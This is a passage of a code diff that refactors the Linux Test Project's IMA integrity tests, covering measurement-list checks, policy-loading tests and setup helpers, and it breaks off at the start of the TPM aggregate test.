- * on the IMA runtime binary measurements.
- *
- * format: ima_measurement [--validate] [--verify] [--verbose]
- *
- * --validate: forces validation of the aggregrate pcr value
- * 	     for an invalidated PCR. Replace all entries in the
- * 	     runtime binary measurement list with 0x00 hash values,
- * 	     which indicate the PCR was invalidated, either for
- * 	     "a time of measure, time of use"(ToMToU) error, or a
- *	     file open for read was already open for write, with
- * 	     0xFF's hash value, when calculating the aggregate
- *	     pcr value.
- *
- * --verify: for all IMA template entries in the runtime binary
- * 	     measurement list, calculate the template hash value
- * 	     and compare it with the actual template hash value.
- *	     Return the number of incorrect hash measurements.
- *
- * --verbose: For all entries in the runtime binary measurement
- *	     list, display the template information.
- *
- * template info:  list #, PCR-register #, template hash, template name
- *	IMA info:  IMA hash, filename hint
- *
- * Ouput: displays the aggregate-pcr value
- * Return code: if verification enabled, returns number of verification
- * 		errors.
- */
-int main(int argc, char *argv[])
-{
-	FILE *fp;
-	struct event template;
-	u_int8_t pcr[SHA_DIGEST_LENGTH];
-	int i, count = 0;
-
-	int validate = 0;
-	int verify = 0;
-
-	if (argc < 2) {
-		printf("format: %s binary_runtime_measurements"
-		       " [--validate] [--verbose] [--verify]\n", argv[0]);
-		return 1;
-	}
-
-	for (i = 2; i < argc; i++) {
-		if (strncmp(argv[i], "--validate", 8) == 0)
-			validate = 1;
-		if (strncmp(argv[i], "--verbose", 7) == 0)
-			verbose = 1;
-		if (strncmp(argv[i], "--verify", 6) == 0)
-			verify = 1;
-	}
-
-	fp = fopen(argv[1], "r");
-	if (!fp) {
-		printf("fn: %s\n", argv[1]);
-		perror("Unable to open file\n");
-		return 1;
-	}
-	memset(pcr, 0, SHA_DIGEST_LENGTH);	/* initial PCR content 0..0 */
-	memset(zero, 0, SHA_DIGEST_LENGTH);
-	memset(fox, 0xff, SHA_DIGEST_LENGTH);
-
-	print_info("### PCR HASH                                  "
-		   "TEMPLATE-NAME\n");
-	while (fread(&template.header, sizeof template.header, 1, fp)) {
-		SHA_CTX c;
-
-		/* Extend simulated PCR with new template digest */
-		SHA1_Init(&c);
-		SHA1_Update(&c, pcr, SHA_DIGEST_LENGTH);
-		if (validate) {
-			if (memcmp(template.header.digest, zero, 20) == 0)
-				memset(template.header.digest, 0xFF, 20);
-		}
-		SHA1_Update(&c, template.header.digest, 20);
-		SHA1_Final(pcr, &c);
-
-		print_info("%3d %03u ", count++, template.header.pcr);
-		display_sha1_digest(template.header.digest);
-		if (template.header.name_len > TCG_EVENT_NAME_LEN_MAX) {
-			printf("%d ERROR: event name too long!\n",
-			       template.header.name_len);
-			exit(1);
-		}
-		memset(template.name, 0, sizeof template.name);
-		fread(template.name, template.header.name_len, 1, fp);
-		print_info(" %s ", template.name);
-
-		memset(&template.ima_data, 0, sizeof template.ima_data);
-		fread(&template.ima_data.digest,
-		      sizeof template.ima_data.digest, 1, fp);
-		display_sha1_digest(template.ima_data.digest);
-
-		fread(&template.filename_len,
-		      sizeof template.filename_len, 1, fp);
-		fread(template.ima_data.filename, template.filename_len, 1, fp);
-		print_info(" %s\n", template.ima_data.filename);
-
-		if (verify)
-			if (verify_template_hash(&template) != 0) {
-				tst_resm(TFAIL, "Hash failed");
-			}
-	}
-	fclose(fp);
-
-	verbose = 1;
-	print_info("PCRAggr (re-calculated):");
-	display_sha1_digest(pcr);
-	tst_exit();
-}
-
-#else
-int main(void)
-{
-	tst_brkm(TCONF, NULL, "test requires libcrypto and openssl development packages");
-}
-#endif
diff --git a/testcases/kernel/security/integrity/ima/src/ima_mmap.c b/testcases/kernel/security/integrity/ima/src/ima_mmap.c
index 335f852..5bc688b 100644
--- a/testcases/kernel/security/integrity/ima/src/ima_mmap.c
+++ b/testcases/kernel/security/integrity/ima/src/ima_mmap.c
@@ -14,43 +14,49 @@
  * Open and mmap a file and sleep. Another process will open the
  * mmapped file in read mode, resulting in a open_writer violation.
  */
-#include <stdio.h>
-#include <string.h>
-#include <unistd.h>
-#include <sys/stat.h>
-#include <sys/mman.h>
-#include <fcntl.h>
-#include "test.h"
 
-char *TCID = "ima_mmap";
-int TST_TOTAL = 1;
+#include "tst_test.h"
 
-int main(int argc, char *argv[])
+#define SLEEP_AFTER_CLOSE 3
+#define MMAPSIZE 1024
+
+static char *filename;
+static void *file;
+static int fd;
+
+static struct tst_option options[] = {
+	{"f:", &filename,
+	 "-f file  File to mmap"},
+	{NULL, NULL, NULL}
+};
+
+static void cleanup(void)
 {
-	int fd;
-	void *file;
-	char *filename;
+	if (file)
+		SAFE_MUNMAP(file, MMAPSIZE);
 
-	if (argc != 2)
-		printf("%s: filename\n", argv[1]);
-	filename = argv[1];
-
-	fd = open(filename, O_CREAT | O_RDWR, S_IRWXU);
-	if (fd < 0) {
-		perror("open");
-		return (-1);
-	}
-
-	file = mmap(NULL, 1024, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
-	if (file == (void *)-1) {
-		perror("mmap");
-		return (-1);
-	}
-	close(fd);
-	sleep(30);
-	if (munmap(file, 1024) < 0) {
-		perror("unmap");
-		return (-1);
-	}
-	tst_exit();
+	if (fd > 0)
+		SAFE_CLOSE(fd);
 }
+
+static void run(void)
+{
+	if (!filename)
+		tst_brk(TBROK, "Usage: %s -f filename", TCID);
+
+	fd = SAFE_OPEN(filename, O_CREAT | O_RDWR, S_IRWXU);
+
+	file = SAFE_MMAP(NULL, MMAPSIZE, PROT_READ | PROT_WRITE, MAP_SHARED, fd, 0);
+	SAFE_CLOSE(fd);
+
+	tst_res(TINFO, "sleep %ds", SLEEP_AFTER_CLOSE);
+	sleep(SLEEP_AFTER_CLOSE);
+
+	tst_res(TPASS, "test completed");
+}
+
+static struct tst_test test = {
+	.options = options,
+	.test_all = run,
+	.cleanup = cleanup,
+};
diff --git a/testcases/kernel/security/integrity/ima/tests/ima_measurements.sh b/testcases/kernel/security/integrity/ima/tests/ima_measurements.sh
index a3c357c..328affc 100755
--- a/testcases/kernel/security/integrity/ima/tests/ima_measurements.sh
+++ b/testcases/kernel/security/integrity/ima/tests/ima_measurements.sh
@@ -1,139 +1,222 @@
 #!/bin/sh
-
-################################################################################
-##                                                                            ##
-## Copyright (C) 2009 IBM Corporation                                         ##
-##                                                                            ##
-## This program is free software;  you can redistribute it and#or modify      ##
-## it under the terms of the GNU General Public License as published by       ##
-## the Free Software Foundation; either version 2 of the License, or          ##
-## (at your option) any later version.                                        ##
-##                                                                            ##
-## This program is distributed in the hope that it will be useful, but        ##
-## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ##
-## or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License   ##
-## for more details.                                                          ##
-##                                                                            ##
-## You should have received a copy of the GNU General Public License          ##
-## along with this program;  if not, write to the Free Software Foundation,   ##
-## Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA           ##
-##                                                                            ##
-################################################################################
+# Copyright (c) 2009 IBM Corporation
+# Copyright (c) 2018 Petr Vorel <pvorel@suse.cz>
 #
-# File :        ima_measurements.sh
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 2 of
+# the License, or (at your option) any later version.
 #
-# Description:  This file verifies measurements are added to the measurement
-# 		list based on policy.
+# This program is distributed in the hope that it would be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
 #
-# Author:       Mimi Zohar, zohar@ibm.vnet.ibm.com
-################################################################################
-export TST_TOTAL=3
-export TCID="ima_measurements"
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see <http://www.gnu.org/licenses/>.
+#
+# Author: Mimi Zohar, zohar@ibm.vnet.ibm.com
+#
+# Verify that measurements are added to the measurement list based on policy.
 
-init()
-{
-	tst_check_cmds sha1sum
-
-	# verify using default policy
-	if [ ! -f "$IMA_DIR/policy" ]; then
-		tst_resm TINFO "not using default policy"
-	fi
-}
-
-# Function:     test01
-# Description   - Verify reading a file causes a new measurement to
-#		  be added to the IMA measurement list.
-test01()
-{
-	# Create file test.txt
-	cat > test.txt <<-EOF
-	$(date) - this is a test file
-	EOF
-	if [ $? -ne 0 ]; then
-		tst_brkm TBROK "Unable to create test file"
-	fi
-
-	# Calculating the sha1sum of test.txt should add
-	# the measurement to the measurement list.
-	# (Assumes SHA1 IMA measurements.)
-	hash=$(sha1sum "test.txt" | sed 's/  -//')
-
-	# Check if the file is measured
-	# (i.e. contained in the ascii measurement list.)
-	cat /sys/kernel/security/ima/ascii_runtime_measurements > measurements
-	sleep 1
-	$(grep $hash measurements > /dev/null)
-	if [ $? -ne 0 ]; then
-		tst_resm TFAIL "TPM ascii measurement list does not contain sha1sum"
-	else
-		tst_resm TPASS "TPM ascii measurement list contains sha1sum"
-	fi
-}
-
-# Function:     test02
-# Description	- Verify modifying, then reading, a file causes a new
-# 		  measurement to be added to the IMA measurement list.
-test02()
-{
-	# Modify test.txt
-	echo $(date) - file modified >> test.txt
-
-	# Calculating the sha1sum of test.txt should add
-	# the new measurement to the measurement list
-	hash=$(sha1sum test.txt | sed 's/  -//')
-
-	# Check if the new measurement exists
-	cat /sys/kernel/security/ima/ascii_runtime_measurements > measurements
-	$(grep $hash measurements > /dev/null)
-
-	if [ $? -ne 0 ]; then
-		tst_resm TFAIL "Modified file not measured"
-		tst_resm TINFO "iversion not supported; or not mounted with iversion"
-	else
-		tst_resm TPASS "Modified file measured"
-	fi
-}
-
-# Function:     test03
-# Description 	- Verify files are measured based on policy
-#		(Default policy does not measure user files.)
-test03()
-{
-	# create file user-test.txt
-	mkdir -m 0700 user
-	chown nobody.nobody user
-	cd user
-	hash=0
-
-	# As user nobody, create and cat the new file
-	# (The LTP tests assumes existence of 'nobody'.)
-	sudo -n -u nobody sh -c "echo $(date) - create test.txt > ./test.txt;
-				 cat ./test.txt > /dev/null"
-
-	# Calculating the hash will add the measurement to the measurement
-	# list, so only calc the hash value after getting the measurement
-	# list.
-	cat /sys/kernel/security/ima/ascii_runtime_measurements > measurements
-	hash=$(sha1sum test.txt | sed 's/  -//')
-	cd - >/dev/null
-
-	# Check if the file is measured
-	grep $hash measurements > /dev/null
-	if [ $? -ne 0 ]; then
-		tst_resm TPASS "user file test.txt not measured"
-	else
-		tst_resm TFAIL "user file test.txt measured"
-	fi
-}
+TST_NEEDS_CMDS="awk cut"
+TST_SETUP="setup"
+TST_CNT=3
+TST_NEEDS_DEVICE=1
 
 . ima_setup.sh
 
-setup
-TST_CLEANUP=cleanup
+setup()
+{
+	TEST_FILE="$PWD/test.txt"
 
-init
-test01
-test02
-test03
+	POLICY="$IMA_DIR/policy"
+	[ -f "$POLICY" ] || tst_res TINFO "not using default policy"
 
-tst_exit
+	DIGEST_INDEX=
+
+	local template="$(tail -1 $ASCII_MEASUREMENTS | cut -d' ' -f 3)"
+	local i
+
+	# https://www.kernel.org/doc/html/latest/security/IMA-templates.html#use
+	case "$template" in
+	ima|ima-ng|ima-sig) DIGEST_INDEX=4 ;;
+	*)
+		# using ima_template_fmt kernel parameter
+		local IFS="|"
+		i=4
+		for word in $template; do
+			if [ "$word" = 'd' -o "$word" = 'd-ng' ]; then
+				DIGEST_INDEX=$i
+				break
+			fi
+			i=$((i+1))
+		done
+	esac
+
+	[ -z "$DIGEST_INDEX" ] && tst_brk TCONF \
+		"Cannot find digest index (template: '$template')"
+
+	tst_res TINFO "IMA measurement tests assume tcb policy to be loaded (ima_policy=tcb)"
+}
+
+# TODO: find support for rmd128 rmd256 rmd320 wp256 wp384 tgr128 tgr160
+compute_digest()
+{
+	local algorithm="$1"
+	local file="$2"
+	local digest
+
+	digest="$(${algorithm}sum $file 2>/dev/null | cut -f1 -d ' ')"
+	if [ -n "$digest" ]; then
+		echo "$digest"
+		return 0
+	fi
+
+	digest="$(openssl $algorithm $file 2>/dev/null | cut -f2 -d ' ')"
+	if [ -n "$digest" ]; then
+		echo "$digest"
+		return 0
+	fi
+
+	# uncommon ciphers
+	local arg="$algorithm"
+	case "$algorithm" in
+	tgr192) arg="tiger" ;;
+	wp512) arg="whirlpool" ;;
+	esac
+
+	digest="$(rdigest --$arg $file 2>/dev/null | cut -f1 -d ' ')"
+	if [ -n "$digest" ]; then
+		echo "$digest"
+		return 0
+	fi
+	return 1
+}
+
+ima_check()
+{
+	local delimiter=':'
+	local algorithm digest expected_digest line
+
+	# need to read file to get updated $ASCII_MEASUREMENTS
+	cat $TEST_FILE > /dev/null
+
+	line="$(grep $TEST_FILE $ASCII_MEASUREMENTS | tail -1)"
+	if [ -z "$line" ]; then
+		tst_res TFAIL "cannot find measurement record for '$TEST_FILE'"
+		return
+	fi
+	tst_res TINFO "measurement record: '$line'"
+
+	digest=$(echo "$line" | cut -d' ' -f $DIGEST_INDEX)
+	if [ -z "$digest" ]; then
+		tst_res TFAIL "cannot find digest (index: $DIGEST_INDEX)"
+		return
+	fi
+
+	if [ "${digest#*$delimiter}" != "$digest" ]; then
+		algorithm=$(echo "$digest" | cut -d $delimiter -f 1)
+		digest=$(echo "$digest" | cut -d $delimiter -f 2)
+	else
+		case "${#digest}" in
+		32) algorithm="md5" ;;
+		40) algorithm="sha1" ;;
+		*)
+			tst_res TFAIL "algorithm must be either md5 or sha1 (digest: '$digest')"
+			return ;;
+		esac
+	fi
+	if [ -z "$algorithm" ]; then
+		tst_res TFAIL "cannot find algorithm"
+		return
+	fi
+	if [ -z "$digest" ]; then
+		tst_res TFAIL "cannot find digest"
+		return
+	fi
+
+	tst_res TINFO "computing digest for $algorithm algorithm"
+	expected_digest="$(compute_digest $algorithm $TEST_FILE)" || \
+		tst_brk TCONF "cannot compute digest for $algorithm algorithm"
+
+	if [ "$digest" = "$expected_digest" ]; then
+		tst_res TPASS "correct digest found"
+	else
+		tst_res TFAIL "digest not found"
+	fi
+}
+
+check_iversion_support()
+{
+	local device mount fs
+
+	tst_kvcmp -ge "4.16" && return 0
+
+	device="$(df . | sed -e 1d | cut -f1 -d ' ')"
+	mount="$(grep $device /proc/mounts | head -1)"
+	fs="$(echo $mount | awk '{print $3'})"
+
+	case "$fs" in
+	ext[2-4])
+		if ! echo "$mount" | grep -q -w "i_version"; then
+			tst_res TCONF "device '$device' is not mounted with iversion, please mount it with 'mount $device -o remount,iversion'"
+			return 1
+		fi
+		;;
+	xfs)
+		if dmesg | grep -q "XFS.*Mounting V[1-4] Filesystem"; then
+			tst_res TCONF "XFS Filesystem >= V5 required for iversion support"
+			return 1
+		fi
+		;;
+	'')
+		tst_res TWARN "could not find mount info for device '$device'"
+		;;
+	esac
+
+	return 0
+}
+
+test1()
+{
+	tst_res TINFO "verify adding record to the IMA measurement list"
+	ROD echo "$(date) this is a test file" \> $TEST_FILE
+	ima_check
+}
+
+test2()
+{
+
+	tst_res TINFO "verify updating record in the IMA measurement list"
+	check_iversion_support || return
+	ROD echo "$(date) modified file" \> $TEST_FILE
+	ima_check
+}
+
+test3()
+{
+	local user="nobody"
+	local dir="$PWD/user"
+	local file="$dir/test.txt"
+
+	# Default policy does not measure user files
+	tst_res TINFO "verify not measuring user files"
+	tst_check_cmds sudo
+
+	if ! id $user >/dev/null 2>/dev/null; then
+		tst_res TCONF "missing system user $user (wrong installation)"
+		return
+	fi
+
+	mkdir -m 0700 $dir
+	chown $user $dir
+	cd $dir
+	# need to read file to get updated $ASCII_MEASUREMENTS
+	sudo -n -u $user sh -c "echo $(date) user file > $file; cat $file > /dev/null"
+	cd ..
+
+	EXPECT_FAIL "grep $file $ASCII_MEASUREMENTS"
+}
+
+tst_run
diff --git a/testcases/kernel/security/integrity/ima/tests/ima_policy.sh b/testcases/kernel/security/integrity/ima/tests/ima_policy.sh
index ad59009..64aa8cb 100755
--- a/testcases/kernel/security/integrity/ima/tests/ima_policy.sh
+++ b/testcases/kernel/security/integrity/ima/tests/ima_policy.sh
@@ -1,127 +1,102 @@
 #!/bin/sh
-################################################################################
-##                                                                            ##
-## Copyright (C) 2009 IBM Corporation                                         ##
-##                                                                            ##
-## This program is free software;  you can redistribute it and#or modify      ##
-## it under the terms of the GNU General Public License as published by       ##
-## the Free Software Foundation; either version 2 of the License, or          ##
-## (at your option) any later version.                                        ##
-##                                                                            ##
-## This program is distributed in the hope that it will be useful, but        ##
-## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ##
-## or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License   ##
-## for more details.                                                          ##
-##                                                                            ##
-## You should have received a copy of the GNU General Public License          ##
-## along with this program;  if not, write to the Free Software               ##
-## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA    ##
-##                                                                            ##
-################################################################################
+# Copyright (c) 2009 IBM Corporation
+# Copyright (c) 2018 Petr Vorel <pvorel@suse.cz>
 #
-# File :        ima_policy.sh
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 2 of
+# the License, or (at your option) any later version.
 #
-# Description:  This file tests replacing the default integrity measurement
-#		policy.
+# This program is distributed in the hope that it would be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
 #
-# Author:       Mimi Zohar, zohar@ibm.vnet.ibm.com
-################################################################################
-export TST_TOTAL=3
-export TCID="ima_policy"
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see <http://www.gnu.org/licenses/>.
+#
+# Author: Mimi Zohar, zohar@ibm.vnet.ibm.com
+#
+# Test replacing the default integrity measurement policy.
 
-init()
+TST_SETUP="setup"
+TST_CNT=2
+
+. ima_setup.sh
+
+check_policy_writable()
 {
-	# verify using default policy
-	IMA_POLICY=$IMA_DIR/policy
-	if [ ! -f $IMA_POLICY ]; then
-		tst_resm TINFO "default policy already replaced"
-	fi
+	local err="IMA policy already loaded and kernel not configured to enable multiple writes to it (need CONFIG_IMA_WRITE_POLICY=y)"
 
-	VALID_POLICY=$LTPROOT/testcases/data/ima_policy/measure.policy
-	if [ ! -f $VALID_POLICY ]; then
-		tst_resm TINFO "missing $VALID_POLICY"
-	fi
+	[ -f /sys/kernel/security/ima/policy ] || tst_brk TCONF "$err"
+	# CONFIG_IMA_READ_POLICY
+	echo "" 2> log > $IMA_POLICY
+	grep -q "Device or resource busy" log && tst_brk TCONF "$err"
+}
 
-	INVALID_POLICY=$LTPROOT/testcases/data/ima_policy/measure.policy-invalid
-	if [ ! -f $INVALID_POLICY ]; then
-		tst_resm TINFO "missing $INVALID_POLICY"
-	fi
+setup()
+{
+	IMA_POLICY="$IMA_DIR/policy"
+	check_policy_writable
+
+	VALID_POLICY="$TST_DATAROOT/measure.policy"
+	[ -f $VALID_POLICY ] || tst_brk TCONF "missing $VALID_POLICY"
+
+	INVALID_POLICY="$TST_DATAROOT/measure.policy-invalid"
+	[ -f $INVALID_POLICY ] || tst_brk TCONF "missing $INVALID_POLICY"
 }
 
 load_policy()
 {
+	local ret
+
 	exec 2>/dev/null 4>$IMA_POLICY
-	if [ $? -ne 0 ]; then
-		exit 1
-	fi
+	[ $? -eq 0 ] || exit 1
 
-	cat $1 |
-	while read line ; do
-	{
-		if [ "${line#\#}" = "${line}" ] ; then
-			echo $line >&4 2> /dev/null
-			if [ $? -ne 0 ]; then
-				exec 4>&-
-				return 1
-			fi
-		fi
-	}
-	done
+	cat $1 >&4 2> /dev/null
+	ret=$?
+	exec 4>&-
+
+	[ $ret -eq 0 ] && \
+		tst_res TINFO "IMA policy updated, please reboot after testing to restore settings"
+
+	return $ret
 }
 
-
-# Function:     test01
-# Description   - Verify invalid policy doesn't replace default policy.
-test01()
+test1()
 {
+	tst_res TINFO "verify that invalid policy isn't loaded"
+
+	local p1
+
+	check_policy_writable
 	load_policy $INVALID_POLICY & p1=$!
 	wait "$p1"
 	if [ $? -ne 0 ]; then
-		tst_resm TPASS "didn't load invalid policy"
+		tst_res TPASS "didn't load invalid policy"
 	else
-		tst_resm TFAIL "loaded invalid policy"
+		tst_res TFAIL "loaded invalid policy"
 	fi
 }
 
-# Function:     test02
-# Description	- Verify policy file is opened sequentially, not concurrently
-#		  and install new policy
-test02()
+test2()
 {
-	load_policy $VALID_POLICY & p1=$!  # forked process 1
-	load_policy $VALID_POLICY & p2=$!  # forked process 2
-	wait "$p1"; RC1=$?
-	wait "$p2"; RC2=$?
-	if [ $RC1 -eq 0 ] && [ $RC2 -eq 0 ]; then
-		tst_resm TFAIL "measurement policy opened concurrently"
-	elif [ $RC1 -eq 0 ] || [ $RC2 -eq 0 ]; then
-		tst_resm TPASS "replaced default measurement policy"
+	tst_res TINFO "verify that policy file is not opened concurrently and able to loaded multiple times"
+
+	local p1 p2 rc1 rc2
+
+	check_policy_writable
+	load_policy $VALID_POLICY & p1=$!
+	load_policy $VALID_POLICY & p2=$!
+	wait "$p1"; rc1=$?
+	wait "$p2"; rc2=$?
+	if [ $rc1 -eq 0 ] && [ $rc2 -eq 0 ]; then
+		tst_res TFAIL "policy opened concurrently"
+	elif [ $rc1 -eq 0 ] || [ $rc2 -eq 0 ]; then
+		tst_res TPASS "policy was loaded just by one process and able to loaded multiple times"
 	else
-		tst_resm TFAIL "problems opening measurement policy"
+		tst_res TFAIL "problem loading or extending policy (may require policy to be signed)"
 	fi
 }
 
-# Function:     test03
-# Description 	- Verify can't load another measurement policy.
-test03()
-{
-	load_policy $INVALID_POLICY & p1=$!
-	wait "$p1"
-	if [ $? -ne 0 ]; then
-		tst_resm TPASS "didn't replace valid policy"
-	else
-		tst_resm TFAIL "replaced valid policy"
-	fi
-}
-
-. ima_setup.sh
-
-setup
-TST_CLEANUP=cleanup
-
-init
-test01
-test02
-test03
-
-tst_exit
+tst_run
diff --git a/testcases/kernel/security/integrity/ima/tests/ima_setup.sh b/testcases/kernel/security/integrity/ima/tests/ima_setup.sh
old mode 100755
new mode 100644
index 0ff38d2..6dfb4d2
--- a/testcases/kernel/security/integrity/ima/tests/ima_setup.sh
+++ b/testcases/kernel/security/integrity/ima/tests/ima_setup.sh
@@ -1,86 +1,118 @@
 #!/bin/sh
-################################################################################
-##                                                                            ##
-## Copyright (C) 2009 IBM Corporation                                         ##
-##                                                                            ##
-## This program is free software;  you can redistribute it and#or modify      ##
-## it under the terms of the GNU General Public License as published by       ##
-## the Free Software Foundation; either version 2 of the License, or          ##
-## (at your option) any later version.                                        ##
-##                                                                            ##
-## This program is distributed in the hope that it will be useful, but        ##
-## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ##
-## or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License   ##
-## for more details.                                                          ##
-##                                                                            ##
-## You should have received a copy of the GNU General Public License          ##
-## along with this program;  if not, write to the Free Software Foundation,   ##
-## Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA           ##
-##                                                                            ##
-################################################################################
+# Copyright (c) 2009 IBM Corporation
+# Copyright (c) 2018 Petr Vorel <pvorel@suse.cz>
 #
-# File :        ima_setup.sh
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 2 of
+# the License, or (at your option) any later version.
 #
-# Description:  setup/cleanup routines for the integrity tests.
+# This program is distributed in the hope that it would be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
 #
-# Author:       Mimi Zohar, zohar@ibm.vnet.ibm.com
-################################################################################
-. test.sh
-mount_sysfs()
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see <http://www.gnu.org/licenses/>.
+#
+# Author: Mimi Zohar, zohar@ibm.vnet.ibm.com
+
+TST_TESTFUNC="test"
+TST_SETUP_CALLER="$TST_SETUP"
+TST_SETUP="ima_setup"
+TST_CLEANUP="ima_cleanup"
+TST_NEEDS_TMPDIR=1
+TST_NEEDS_ROOT=1
+
+. tst_test.sh
+
+SYSFS="/sys"
+UMOUNT=
+FS_TYPE="ext3"
+
+mount_helper()
 {
-	SYSFS=$(mount 2>/dev/null | awk '$5 == "sysfs" { print $3 }')
-	if [ "x$SYSFS" = x ] ; then
+	local type="$1"
+	local default_dir="$2"
+	local dir
 
-		SYSFS=/sys
+	dir="$(grep ^$type /proc/mounts | cut -d ' ' -f2 | head -1)"
+	[ -n "$dir" ] && { echo "$dir"; return; }
 
-		test -d $SYSFS || mkdir -p $SYSFS 2>/dev/null
-		if [ $? -ne 0 ] ; then
-			tst_brkm TBROK "Failed to mkdir $SYSFS"
-		fi
-		if ! mount -t sysfs sysfs $SYSFS 2>/dev/null ; then
-			tst_brkm TBROK "Failed to mount $SYSFS"
-		fi
+	if ! mkdir -p $default_dir; then
+		tst_brk TBROK "failed to create $default_dir"
+	fi
+	if ! mount -t $type $type $default_dir; then
+		tst_brk TBROK "failed to mount $type"
+	fi
+	UMOUNT="$default_dir $UMOUNT"
+	echo $default_dir
+}
 
+mount_loop_device()
+{
+	local ret
+
+	tst_test_cmds mkfs.$FS_TYPE
+	tst_mkfs $FS_TYPE $TST_DEVICE
+	ROD_SILENT mkdir -p mntpoint
+	mount ${TST_DEVICE} mntpoint
+	ret=$?
+	if [ $ret -ne 0 ]; then
+		tst_brk TBROK "failed to mount device (mount exit = $ret)"
+	fi
+	cd mntpoint
+}
+
+print_ima_config()
+{
+	local config="/boot/config-$(uname -r)"
+	local i
+
+	tst_res TINFO "/proc/cmdline: $(cat /proc/cmdline)"
+
+	if [ -r "$config" ]; then
+		tst_res TINFO "IMA kernel config:"
+		for i in $(grep ^CONFIG_IMA $config); do
+			tst_res TINFO "$i"
+		done
 	fi
 }
 
-mount_securityfs()
+ima_setup()
 {
-	SECURITYFS=$(mount 2>/dev/null | awk '$5 == "securityfs" { print $3 }')
-	if [ "x$SECURITYFS" = x ] ; then
+	SECURITYFS="$(mount_helper securityfs $SYSFS/kernel/security)"
 
-		SECURITYFS="$SYSFS/kernel/security"
+	IMA_DIR="$SECURITYFS/ima"
+	[ -d "$IMA_DIR" ] || tst_brk TCONF "IMA not enabled in kernel"
+	ASCII_MEASUREMENTS="$IMA_DIR/ascii_runtime_measurements"
+	BINARY_MEASUREMENTS="$IMA_DIR/binary_runtime_measurements"
 
-		test -d $SECURITYFS || mkdir -p $SECURITYFS 2>/dev/null
-		if [ $? -ne 0 ] ; then
-			tst_brkm TBROK "Failed to mkdir $SECURITYFS"
-		fi
-		if ! mount -t securityfs securityfs $SECURITYFS 2>/dev/null ; then
-			tst_brkm TBROK "Failed to mount $SECURITYFS"
-		fi
+	print_ima_config
 
+	if [ "$TST_NEEDS_DEVICE" = 1 ]; then
+		tst_res TINFO "\$TMPDIR is on tmpfs => run on loop device"
+		mount_loop_device
+	fi
+
+	[ -n "$TST_SETUP_CALLER" ] && $TST_SETUP_CALLER
+}
+
+ima_cleanup()
+{
+	local dir
+	for dir in $UMOUNT; do
+		umount $dir
+	done
+
+	if [ "$TST_NEEDS_DEVICE" = 1 ]; then
+		cd $TST_TMPDIR
+		tst_umount $TST_DEVICE
 	fi
 }
 
-setup()
-{
-	tst_require_root
-
-	tst_tmpdir
-
-	mount_sysfs
-
-	# mount securityfs if it is not already mounted
-	mount_securityfs
-
-	# IMA must be configured in the kernel
-	IMA_DIR=$SECURITYFS/ima
-	if [ ! -d "$IMA_DIR" ]; then
-		tst_brkm TCONF "IMA not enabled in kernel"
-	fi
-}
-
-cleanup()
-{
-	tst_rmdir
-}
+# loop device is needed to use only for tmpfs
+TMPDIR="${TMPDIR:-/tmp}"
+if [ "$(df -T $TMPDIR | tail -1 | awk '{print $2}')" != "tmpfs" -a -n "$TST_NEEDS_DEVICE" ]; then
+	unset TST_NEEDS_DEVICE
+fi
diff --git a/testcases/kernel/security/integrity/ima/tests/ima_tpm.sh b/testcases/kernel/security/integrity/ima/tests/ima_tpm.sh
index 333bf5f..0ffc3c0 100755
--- a/testcases/kernel/security/integrity/ima/tests/ima_tpm.sh
+++ b/testcases/kernel/security/integrity/ima/tests/ima_tpm.sh
@@ -1,70 +1,56 @@
 #!/bin/sh
+# Copyright (c) 2009 IBM Corporation
+# Copyright (c) 2018 Petr Vorel <pvorel@suse.cz>
+#
+# This program is free software; you can redistribute it and/or
+# modify it under the terms of the GNU General Public License as
+# published by the Free Software Foundation; either version 2 of
+# the License, or (at your option) any later version.
+#
+# This program is distributed in the hope that it would be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program. If not, see <http://www.gnu.org/licenses/>.
+#
+# Author: Mimi Zohar, zohar@ibm.vnet.ibm.com
+#
+# Verify the boot and PCR aggregates.
 
-################################################################################
-##                                                                            ##
-## Copyright (C) 2009 IBM Corporation                                         ##
-##                                                                            ##
-## This program is free software;  you can redistribute it and#or modify      ##
-## it under the terms of the GNU General Public License as published by       ##
-## the Free Software Foundation; either version 2 of the License, or          ##
-## (at your option) any later version.                                        ##
-##                                                                            ##
-## This program is distributed in the hope that it will be useful, but        ##
-## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ##
-## or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License   ##
-## for more details.                                                          ##
-##                                                                            ##
-## You should have received a copy of the GNU General Public License          ##
-## along with this program;  if not, write to the Free Software               ##
-## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA    ##
-##                                                                            ##
-################################################################################
-#
-# File :        ima_tpm.sh
-#
-# Description:  This file verifies the boot and PCR aggregates
-#
